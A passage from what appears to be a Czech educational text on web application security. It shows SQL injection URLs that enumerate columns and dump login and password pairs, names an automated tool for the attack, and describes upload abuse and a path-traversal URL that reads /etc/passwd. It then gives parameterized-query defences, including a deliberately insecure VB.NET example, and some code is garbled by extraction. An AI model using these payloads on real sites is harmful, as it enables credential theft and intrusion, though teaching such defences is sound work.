Třetího sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME != char(hexakod_nazvu_prvniho_sloupce) AND COLUMN_NAME != char(hexakod_nazvu_druheho_sloupce) -Pro vyhledávání předem odhadnutelného názvu sloupce jako např. username, login, pass, password apod. může útočník využít konstrukci: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME LIKE char(37,112,97,115,115,37) -Tento konkrétní příklad hledá název sloupce "pass". Nyní již přichází finále celého útoku sestavením dotazu na uživatelské jména a hesla uživatelů. Pokud útočník nalezl v databázi tabulku users se sloupci login a password, jednoduše sestaví dotaz: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,concat(login,char(58,58),password),3,4,5,6,7 FROM users -Výsledkem jsou uživatelská jména a hesla vypsaná na webové stránce. Celý útok lze zjednodušit a zrychlit použitím automatizovaných nástrojů pro zjišťování struktury databáze jako program Absinthe.
16
Obrázek 1: Zádání parametrů útoku programu Absinthe
17
Obrázek 2: Schéma databáze zjištěné programem Absinthe těné programem Absinthe
Obrázek 3: Získávání dat z databáze programem Absinthe
18
2.1.2.5 Obrana proti SQL Injection Existuje mnoho pseudoochran a návodů, které kolují po Internetu jako vyhledávání nebezpečných konstrukcí v parametru apod. Tyto domnělé ochrany mohou útočníkovi značně ztížit práci, ale neřeší samotnou podstatu útoku. Hlavní chybou programátorů webových aplikací je používání zřetězení stringů do výsledného dotazu a jeho následné odeslání na server. V prvopočátku skriptovacích jazyků programátoři neměli jinou možnost a proto rozvinuli značně sofistikované metody kontrol které používají dodnes. Bohužel útočníci většinou tyto ochrany v průběhu vývoje překonali, o čemž podstatná část vývojářů neví. Příkladem takovéto "pseudoochrany" je nahrazování apostrofu uvozovkami. V případě, že útočník zakóduje svůj vložený string například do hexadecimálního tvaru, při použití techniky zřetězení stringů se z hexadecimálního čísla opět stane útočníkův kód i spřípadnými apostrofy a obrana bude neúčinná. Hlavní podstatou úspěšné ochrany je od verze PHP 5.0 a platformy.NET tzv. oddělené posílání samotného dotazu a jeho parametrů SQL severu. V následující ukázce je vidět chybně napsaný kód ve VB.NET: Dim sql As String sql = "select * from Orders " sql &= " where ID = " & ID try Dim ds As New DataSet Dim MyConnection As SqlConnection = New SqlConnection("data source=localhost;user_id=sa;password=password;") MyConnection.Open() Dim adapter As New SqlDataAdapter(sql,MyConnection) adapter.Fill(ds) MyConnection.Close() catch sex as SqlException Status = sql & " failed" & vbCrLf for each e as SqlError in sex.Errors status &= e.Message & vbCrLf next catch ex as Exception Status = sql & " Chyba" & vbCrLf Status &= ex.ToString() end try
Tento kód obsahuje tři základní chyby. První chyba se nachází na třetím řádku, kdy dochází ke zmiňovanému zřetězení stringů bez jakékoliv kontroly obsahu proměnné ID. Pokud se útočníkovi podaří obsah proměnné ID podvrhnout, je její obsah přímo součástí dotazu do databáze. Druhou chybou je zapisování přístupových údajů přímo do zdrojového kódu aplikace na řádku číslo sedm. Pro inicializaci databáze by měla být v aplikaci napsána funkce, která vrací connection_string například ze šifrovaného tvaru pomocí DPAPI. Poslední chyba se nachází na řádku číslo patnáct. Podstata problému je tom, že aplikace vypisuje uživateli kompletní chybové hlášky, které často obsahují detailní informace o databázi, jako názvy tabulek, sloupců, části kódu a podobně. Správně napsaný kód vypadá následovně:
19
Dim sql sql Dim Dim
sql As String = "select desc from dbo.Orders " &= " where id = @ID" ds As New DataSet MyConnection As SqlConnection
Try
MyConnection = New SqlConnection(ConnString) Dim MyCommand As Data.SqlClient.SqlCommand = New SqlCommand(sql, MyConnection) MyCommand.Parameters.Add(New SqlParameter("@ID", SqlDbType.NVarChar, 1000)) MyCommand.Parameters("@ID").Value = ID Dim adapter As New SqlDataAdapter adapter.SelectCommand = MyCommand adapter.Fill(ds) Catch ex As Exception Status = "Chyba na serveru. Zkuste později" Finally MyConnection.Close() End Try
Rozdíli oproti předchozímu kódu jsou následující: Do samotného dotazu není na třetím řádku předána hodnota proměnné ID, ale odkaz na parametr @ID. Connection_string na sedmém řádku je proměnná pocházející z nějaké ověřovací funkce a nikoliv plain-text. Při volání SQL dotazu je serveru nejprve předán samotný dotaz s odkazem na parametry a až následně samotné parametry. To zapříčiní, že hodnota parametru je brána opravdu jen jako parametr a nemůže žádným způsobem ovlivnit samotný SQL dotaz. I když by proměnná obsahovala jakýkoliv SQL příkaz, tak se již na databázovém serveru neinterpretuje a tím je zajištěna ochrana proti SQL Injection. Posledním rozdílem je způsob zacházení s chybovým výstupem. Na rozdíl od předchozího se při výskytu chyby uživateli vypíše jen obecná chybová hláška bez konkrétních údajů, které by mohl útočník využít. Dalším zlepšením kódu by mělo být zalogování této chybové události s následným zpracováním. Obdobná aplikační vrstva pro přístup do databáze se nachází ve většině dnešních webových skriptovacích jazyků. Bezpečnou konstrukci pro jazyk PHP 5.0 a vyšší ve spojení s MySQL serverem ukazuje následující příklad:
20
/* příprava parametrů*/ mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3); $val1 = 'Stuttgart'; $val2 = 'DEU'; $val3 = 'Baden-Wuerttemberg'; /* provedení dotazu */ mysqli_stmt_execute($stmt); /* změna parametrů */ $val1 = 'Bordeaux'; $val2 = 'FRA'; $val3 = 'Aquitaine'; /* opětovné provedení dotazu */ mysqli_stmt_execute($stmt); /* uzavření dotazu */ mysqli_stmt_close($stmt); /* výpis všech řádků tabulky */ $query = "SELECT Name, CountryCode, District FROM myCity"; if ($result = mysqli_query($link, $query)) { while ($row = mysqli_fetch_row($result)) { printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]); } /* vyčištění výsledku dotazu */ mysqli_free_result($result); } /* odstranění tabulky */ mysqli_query($link, "DROP TABLE myCity"); /* ukončení připojení k databázi */ mysqli_close($link); ?>
Výsledek toho sktiptu je následující: Stuttgart (DEU,Baden-Wuerttemberg) Bordeaux (FRA,Aquitaine)
Jak je vidět, má tato vrstva ještě tu výhodu, že dotaz je beze změny znovu využitelný a mění se jen hodnota předávaných parametrů. Samozdřejmostí by mělo být i kontrolování samotných hodnot parametrů, ne již z důvodu možné SQL Injection, ale typové kompatibility apod. Pokud například v parametru očekáváme číslo není důvod nepoužít funkci inval($promenna) nebo podobnou, která vrátí číselnou hodnotu v proměnné nebo 0 v případě, kdy proměnná číselnou hodnotu neobsahuje. Další věcí na kterou by si měl dát programátor pozor, jsou hodnoty uložené v databázi, které se vypisují na výstup webové aplikace. Tyto hodnoty, pokud to není žádoucí, by se měly kontrolovat na výskyt HTML kódu který by v případě výpisu mohl změnit výstup aplikace. Tímto způsobem je například možné spustit na uživatelské straně javascriptový kód. Před uložením těchto dat je dobré tyto znaky vyescapovat nebo nahradit HTML entitami. Na to se například v PHP 21
výborně hodí funkce htmlspecialchars(), která převádí potencionálně nebezpečné znaky v argumentu funkce na HTML entity. Příklad: Test", ENT_QUOTES); echo $new; ?>
Výstup by vypadal následovně:
Test
Nedílnou součástí bezpečnosti je také používání adekvátních přístupových práv. V žádném případě by se aplikace neměla připojovat do databáze s administrátorskými právy, ani právy vlastníka databáze. Pokud by došlo ke kompromitaci aplikace, má útočník pouze omezené možnosti zneužití databáze. Nebude ji moci celou smazat a v případě MSSQL severu nebude mít dostatečná práva pro vytvoření lokálního administrátora systému viz. výše.
2.1.2.6 Shrnutí SQL Injection I přes dlouhou dobu, kdy je tato chyba známa, patří stále mezi jednu z nejrozšířenějších a nejzneužívanějších chyb internetových aplikací. Je to dáno zřejmě tím, že programátoři jsou zvyklí používat metodu sčítání stringů a ani s příchodem nových postupů v podobě odděleného předávání parametrů databázovému serveru svůj zvyk nechtějí měnit. Její rozšířenosti též napomáhá rozšířenost jazyka SQL, který používají téměř všechny databázové servery a nezávislost na programovacím jazyku, ve kterém je aplikace napsána.
22
2.2 Neochráněný upload a download souborů V tomto typu útoku útočník využívá chyby programátora, kdy nedostatečně ošetří parametry skriptů zajišťující upload či download souborů. Tato chyba se často vyskytuje v diskusních fórech, webech 2.0, komunitních aplikacích a obecě tam, kde má uživatel možnost nahrávat soubory, nebo soubory stahovat pomocí skriptu a nikoliv přímého odkazu.
2.2.1 Možnosti zneužití neochráněného uploadu Ač se to na první pohled nemusí zdát, tato chyba může mít naprosto fatální následky. Pro příklad mějme webovou aplikaci napsanou v jazyce PHP, která obsahuje diskusní fórum, kde si mohou uživatelé ke svému profilu nahrát obrázek tzv. avatar. Pokud nebude mít aplikace kontrolu typu souboru, který uživatel uploaduje, může útočník nahrát na server libovolný php skript. Následně si zobrazí zdrojový html kód diskusního fóra. kde jako zdroj obrázku bude cesta k jeho skriptu např:
Tímto útočník zjistí umístění svého scriptu. Spuštění skriptu docílí pouhým jeho zavoláním ze svého webového prohlížeče. Nyní se jedná o klasickou PHP Injection a útočník má všechny možnosti jejího zneužití viz. výše.
2.2.2 Možnosti zneužití neochráněného downloadu Tato chyba hrozí v případě, kdy je k downloadu souborů z webové aplikace použit na místo přímého odkazu na soubor skript, který má jako parametr cestu k souboru. Pokud je tento skript napsám nedbale a nejsou kontrolovány jeho parametry, může dojít ke stažení citlivých údajů ze serveru jako jsou konfigurační soubory, neveřejné dokumenty, nebo i zdrojové kódy aplikace. Příklad chybně napsaného skriptu:
Tento skript odešle uživateli jakýkoliv soubor jehož umístění v adresářové struktuře serveru dostane jako parametr. Pokud bude webová aplikace uložena v adresáři /website, lze stáhnou zdrojový kód stránky index.php pouhým zadáním URL: http://www.server.cz/dowload.php?file=/website/index.php
Je možné stáhnout libovolný soubor pro který má webový server práva pro čtení, tedy například i /etc/passwd s uloženými uživatelskými údaji.
23
2.2.3 Kontrola typu souborů při uploadu Kontrola typu uploadovaného souboru se běžně provádí různými způsoby, bohužel jen málo z nich zaručuje stoprocentní ochranu proti vložení spustitelného skriptu. Správným postupem je porovnání přípony vkládaného souboru s předem definovanými možnostmi. Následný kód ukazuje univerzálně použitelnou funkci v PHP, která si sama generuje HTML formulář a používá kontrolu přípony uploadovaného souboru. php function uploader($pocet_souboru=1, $povolene_pripony=array("txt","doc"), $max_velikost=1048576, $cilovy_adresar="") { if(!is_numeric($max_velikost)){ $max_velikost = 1048576; } if(!isset($_POST["odeslano"])){ $form = "